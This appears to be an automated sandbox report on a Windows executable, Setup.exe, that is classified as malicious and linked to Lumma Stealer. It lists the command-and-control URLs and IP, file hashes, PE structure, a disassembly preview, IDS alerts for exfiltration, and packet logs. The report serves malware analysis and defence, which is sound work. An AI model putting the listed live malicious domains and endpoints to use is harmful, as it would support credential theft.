https://github.com/zitadel/zitadel/blob/new-eventstore/cmd/zitadel/startup.yaml.	Setup.exe	false		unknown
https://fashionablei.sbs/apin4E	BitLockerToGo.exe, 00000002.00000003.2336325859.000000000328F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2336147464.0000000003288000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BitLockerToGo.exe, 00000002.00000003.2339441773.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://fashionablei.sbs/	BitLockerToGo.exe, 00000002.00000003.2378878983.000000000327E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2417674923.0000000003228000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2353942171.000000000327E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2336147464.0000000003288000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2353542738.000000000327E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://fashionablei.sbs/apire1b	BitLockerToGo.exe, 00000002.00000003.2417674923.0000000003222000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.2418644581.0000000003222000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://fashionablei.sbs/apiDoO	BitLockerToGo.exe, 00000002.00000003.2305631280.00000000055B0000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2305943287.00000000055B3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	BitLockerToGo.exe, 00000002.00000003.2293514866.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293353004.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293288768.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://fashionablei.sbs/2	BitLockerToGo.exe, 00000002.00000003.2403644084.000000000327E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.2418744556.000000000327E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	BitLockerToGo.exe, 00000002.00000003.2338097351.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	BitLockerToGo.exe, 00000002.00000003.2338097351.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://fashionablei.sbs/c	BitLockerToGo.exe, 00000002.00000002.2418644581.0000000003228000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2417674923.0000000003228000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	BitLockerToGo.exe, 00000002.00000003.2293514866.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293353004.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293288768.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	BitLockerToGo.exe, 00000002.00000003.2338097351.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://fashionablei.sbs/apiK	BitLockerToGo.exe, 00000002.00000003.2417674923.000000000320D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://protobuf.dev/reference/go/faq#namespace-conflictproto:	Setup.exe	false		unknown
https://support.mozilla.org/products/firefoxgro.all	BitLockerToGo.exe, 00000002.00000003.2339441773.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	BitLockerToGo.exe, 00000002.00000003.2293514866.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293353004.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293288768.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.mozilla.or	BitLockerToGo.exe, 00000002.00000003.2339720181.00000000055CD000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	fashionablei.sbs	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542822
Start date and time:	2024-10-26 16:01:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Setup.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/0@1/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 96% Number of executed functions: 35 Number of non-executed functions: 92
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Setup.exe, PID 6228 because there are no executed function
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Setup.exe

Simulations

Behavior and APIs

Time	Type	Description
10:02:16	API Interceptor	10x Sleep call for process: BitLockerToGo.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	5Z1WFRMTOXRH6X21Z8NU8.exe	Get hash	malicious	Unknown	Browse	artvisions-autoinsider.com/8bkjdSdfjCe/index.php
	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/4hfb/
	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/cDXpxO66/download
	Instruction_1928.pdf.lnk.download.lnk	Get hash	malicious	LummaC	Browse	tech-tribune.shop/pLQvfD4d5/index.php
	WBCDZ4Z3M2667YBDZ5K4.bin.exe	Get hash	malicious	Unknown	Browse	tech-tribune.shop/pLQvfD4d5/index.php
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	www.rs-ag.com/
	https://is.gd/6NgVrQ	Get hash	malicious	HTMLPhisher	Browse	aa.opencompanies.co.uk/vEXJm/
	Comprobante de pago.xlam.xlsx	Get hash	malicious	Unknown	Browse	paste.ee/d/KXy1F
	01YP9Lwum8.exe	Get hash	malicious	DCRat	Browse	77777cm.nyashtyan.in/externalpipejsprocessAuthapiDbtrackWordpressCdn.php
	PO-000041522.exe	Get hash	malicious	FormBook	Browse	www.freedietbuilder.online/nnla/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fashionablei.sbs	Setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Setup.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	5Setup.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	w12rykWq2L.exe	Get hash	malicious	Stealc	Browse	172.67.179.207
	6VTskjqyxX.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	6VTskjqyxX.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.170.64
	jWpgP22dl2.exe	Get hash	malicious	Stealc	Browse	104.21.56.70
	1GeaC4QnFy.dll	Get hash	malicious	CobaltStrike	Browse	188.114.97.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.97.3
	CheatInjector.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.415833234617627
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Setup.exe
File size:	10'651'136 bytes
MD5:	c5f86099f8c1b5b8a8b5c9c884b764a4
SHA1:	a2686f52b8f9a95fca10082a37e0a5270576bb0f
SHA256:	a34d6e9743d028c4c7f91bace1a4d1b0b75d71774af8215c0819d84e29a89ef1
SHA512:	884c769f1323731f90a19082c573427bd883417f4f5f144badc9e6ec96847cd7f567f0575ba7be0b9a03f12781eb106d00aad26bdf0fcc33f114e804ed3c8401
SSDEEP:	98304:vPME2iQ5qNh+nHQhHbq0wJvHSWECW/atYt:vFFQKf/Bat0
TLSH:	68B62841F9CB49F6E943493150AB727F23319D058B39CBCBE6547B2AFC372920A36265
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.........................I..l......0.............@.......................................@................................

File Icon


Icon Hash:	4383636f52510c00

Static PE Info

General

Entrypoint:	0x46d930
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	4f2f006e2ecf7172ad368f8289dc96c1

Entrypoint Preview

Instruction
jmp 00007FA654D3A560h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
sub esp, 28h
mov dword ptr [esp+1Ch], ebx
mov dword ptr [esp+10h], ebp
mov dword ptr [esp+14h], esi
mov dword ptr [esp+18h], edi
mov dword ptr [esp], eax
mov dword ptr [esp+04h], ecx
call 00007FA654D1FDC6h
mov eax, dword ptr [esp+08h]
mov edi, dword ptr [esp+18h]
mov esi, dword ptr [esp+14h]
mov ebp, dword ptr [esp+10h]
mov ebx, dword ptr [esp+1Ch]
add esp, 28h
retn 0004h
ret
int3
int3
int3
int3
int3
int3
sub esp, 08h
mov ecx, dword ptr [esp+0Ch]
mov edx, dword ptr [ecx]
mov eax, esp
mov dword ptr [edx+04h], eax
sub eax, 00010000h
mov dword ptr [edx], eax
add eax, 00000BA0h
mov dword ptr [edx+08h], eax
mov dword ptr [edx+0Ch], eax
lea edi, dword ptr [ecx+34h]
mov dword ptr [edx+18h], ecx
mov dword ptr [edi], edx
mov dword ptr [esp+04h], edi
call 00007FA654D3C984h
cld
call 00007FA654D3BA4Eh
call 00007FA654D3A689h
add esp, 08h
ret
mov ebx, dword ptr [esp+04h]
mov dword ptr fs:[00000034h], 00000000h
mov ebp, esp
mov ecx, dword ptr [ebx+04h]
mov eax, ecx
shl eax, 02h
sub esp, eax
mov edi, esp
mov esi, dword ptr [ebx+08h]
cld
rep movsd
call dword ptr [ebx]
mov esp, ebp
mov ebx, dword ptr [esp+04h]
mov dword ptr [ebx+0Ch], eax
mov dword ptr [ebx+10h], edx
mov eax, dword ptr fs:[00000034h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9f5000	0x45e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa32000	0x2a248	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x9f6000	0x3adfe	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x978c40	0xb8	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x49f839	0x49fa00	9e1b4c818f0460e9b4a4f8a7f90cc9c7	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x4a1000	0x4d64ac	0x4d6600	3bfdcfb0b87eea69e8b25101cfd832c8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x978000	0x7c308	0x4c800	861973732e2376040696278bd0798cf4	False	0.436596839256536	data	5.768610815962593	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x9f5000	0x45e	0x600	9478c29300bca8d1606cb0d00faadd39	False	0.361328125	data	3.87636263657324	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x9f6000	0x3adfe	0x3ae00	38f08e52f9e512fb8f4dd343e75bd41d	False	0.5784982085987261	data	6.65207248593649	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.symtab	0xa31000	0x4	0x200	07b5472d347d42780469fb2654b7fc54	False	0.02734375	data	0.020393135236084953	IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0xa32000	0x2a248	0x2a400	484bf95fec15722302dcd0c4c7fbbc60	False	0.12969790125739644	data	3.749306355679096	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xa322b0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m			0.4157801418439716
RT_ICON	0xa32718	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m			0.2733606557377049
RT_ICON	0xa330a0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m			0.21575984990619138
RT_ICON	0xa34148	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m			0.13340248962655601
RT_ICON	0xa366f0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 3779 x 3779 px/m			0.09801606046291922
RT_ICON	0xa3a918	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 20736, resolution 3779 x 3779 px/m			0.0927449168207024
RT_ICON	0xa3fda0	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864, resolution 3779 x 3779 px/m			0.06758461215051503
RT_ICON	0xa49248	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 3779 x 3779 px/m			0.05555719862770614
RT_ICON	0xa59a70	0x1c78	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.9927277716794731
RT_GROUP_ICON	0xa5b6e8	0x84	data			0.7272727272727273
RT_VERSION	0xa5b76c	0x4f4	data	English	United States	0.29574132492113564
RT_MANIFEST	0xa5bc60	0x5e8	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4252645502645503

Imports

DLL

Import

kernel32.dll

WriteFile, WriteConsoleW, WerSetFlags, WerGetFlags, WaitForMultipleObjects, WaitForSingleObject, VirtualQuery, VirtualFree, VirtualAlloc, TlsAlloc, SwitchToThread, SuspendThread, SetWaitableTimer, SetUnhandledExceptionFilter, SetProcessPriorityBoost, SetEvent, SetErrorMode, SetConsoleCtrlHandler, ResumeThread, RaiseFailFastException, PostQueuedCompletionStatus, LoadLibraryW, LoadLibraryExW, SetThreadContext, GetThreadContext, GetSystemInfo, GetSystemDirectoryA, GetStdHandle, GetQueuedCompletionStatusEx, GetProcessAffinityMask, GetProcAddress, GetErrorMode, GetEnvironmentStringsW, GetCurrentThreadId, GetConsoleMode, FreeEnvironmentStringsW, ExitProcess, DuplicateHandle, CreateWaitableTimerExW, CreateThread, CreateIoCompletionPort, CreateFileA, CreateEventA, CloseHandle, AddVectoredExceptionHandler

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-26T16:02:17.520081+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49747	188.114.97.3	443	TCP
2024-10-26T16:02:17.520081+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49747	188.114.97.3	443	TCP
2024-10-26T16:02:18.880458+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49758	188.114.97.3	443	TCP
2024-10-26T16:02:18.880458+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49758	188.114.97.3	443	TCP
2024-10-26T16:02:20.289488+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49768	188.114.97.3	443	TCP
2024-10-26T16:02:31.525182+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49839	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 16:02:16.376344919 CEST	49747	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:16.376394987 CEST	443	49747	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:16.376471996 CEST	49747	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:16.379726887 CEST	49747	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:16.379765987 CEST	443	49747	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:16.999625921 CEST	443	49747	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:16.999763966 CEST	49747	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:17.001319885 CEST	49747	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:17.001352072 CEST	443	49747	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:17.001648903 CEST	443	49747	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:17.050813913 CEST	49747	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:17.050813913 CEST	49747	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:17.050955057 CEST	443	49747	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:17.520169973 CEST	443	49747	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:17.520416021 CEST	443	49747	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:17.520492077 CEST	49747	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:17.534574032 CEST	49747	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:17.534590960 CEST	443	49747	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:17.777008057 CEST	49758	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:17.777045965 CEST	443	49758	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:17.777282000 CEST	49758	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:17.777981043 CEST	49758	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:17.777996063 CEST	443	49758	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:18.387733936 CEST	443	49758	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:18.387792110 CEST	49758	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:18.388936043 CEST	49758	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:18.388945103 CEST	443	49758	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:18.389303923 CEST	443	49758	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:18.390525103 CEST	49758	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:18.390556097 CEST	49758	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:18.390603065 CEST	443	49758	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:18.880562067 CEST	443	49758	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:18.880707979 CEST	443	49758	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:18.880754948 CEST	49758	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:18.880768061 CEST	443	49758	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:18.880868912 CEST	443	49758	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:18.880909920 CEST	49758	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:18.880917072 CEST	443	49758	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:18.881040096 CEST	443	49758	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:18.881102085 CEST	49758	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:18.881107092 CEST	443	49758	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:18.881283045 CEST	443	49758	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:18.881392002 CEST	49758	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:18.881397963 CEST	443	49758	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:18.886033058 CEST	443	49758	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:18.886106968 CEST	49758	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:18.886113882 CEST	443	49758	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:18.931422949 CEST	49758	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:18.996999025 CEST	443	49758	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:18.997184992 CEST	443	49758	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:18.997253895 CEST	49758	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:18.997265100 CEST	443	49758	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:18.997395039 CEST	443	49758	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:18.997445107 CEST	49758	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:18.997816086 CEST	49758	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:18.997829914 CEST	443	49758	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:18.997843027 CEST	49758	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:18.997849941 CEST	443	49758	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:19.149076939 CEST	49768	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:19.149126053 CEST	443	49768	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:19.149251938 CEST	49768	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:19.149787903 CEST	49768	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:19.149806976 CEST	443	49768	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:19.758690119 CEST	443	49768	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:19.758778095 CEST	49768	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:19.760746002 CEST	49768	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:19.760757923 CEST	443	49768	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:19.761738062 CEST	443	49768	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:19.764730930 CEST	49768	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:19.764985085 CEST	49768	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:19.765021086 CEST	443	49768	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:20.289611101 CEST	443	49768	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:20.289845943 CEST	443	49768	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:20.289922953 CEST	49768	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:20.321656942 CEST	49768	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:20.321672916 CEST	443	49768	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:20.508553982 CEST	49778	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:20.508639097 CEST	443	49778	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:20.508723021 CEST	49778	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:20.509049892 CEST	49778	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:20.509083986 CEST	443	49778	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:21.123230934 CEST	443	49778	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:21.123380899 CEST	49778	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:21.124567032 CEST	49778	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:21.124598980 CEST	443	49778	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:21.124857903 CEST	443	49778	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:21.126183033 CEST	49778	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:21.126348972 CEST	49778	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:21.126396894 CEST	443	49778	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:21.126477003 CEST	49778	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:21.126492023 CEST	443	49778	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:23.359010935 CEST	443	49778	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:23.359260082 CEST	443	49778	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:23.359347105 CEST	49778	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:23.360456944 CEST	49778	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:23.360543966 CEST	443	49778	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:23.742255926 CEST	49796	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:23.742284060 CEST	443	49796	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:23.742477894 CEST	49796	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:23.742809057 CEST	49796	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:23.742821932 CEST	443	49796	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:24.359797955 CEST	443	49796	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:24.359951019 CEST	49796	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:24.369285107 CEST	49796	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:24.369321108 CEST	443	49796	188.114.97.3	192.168.2.6
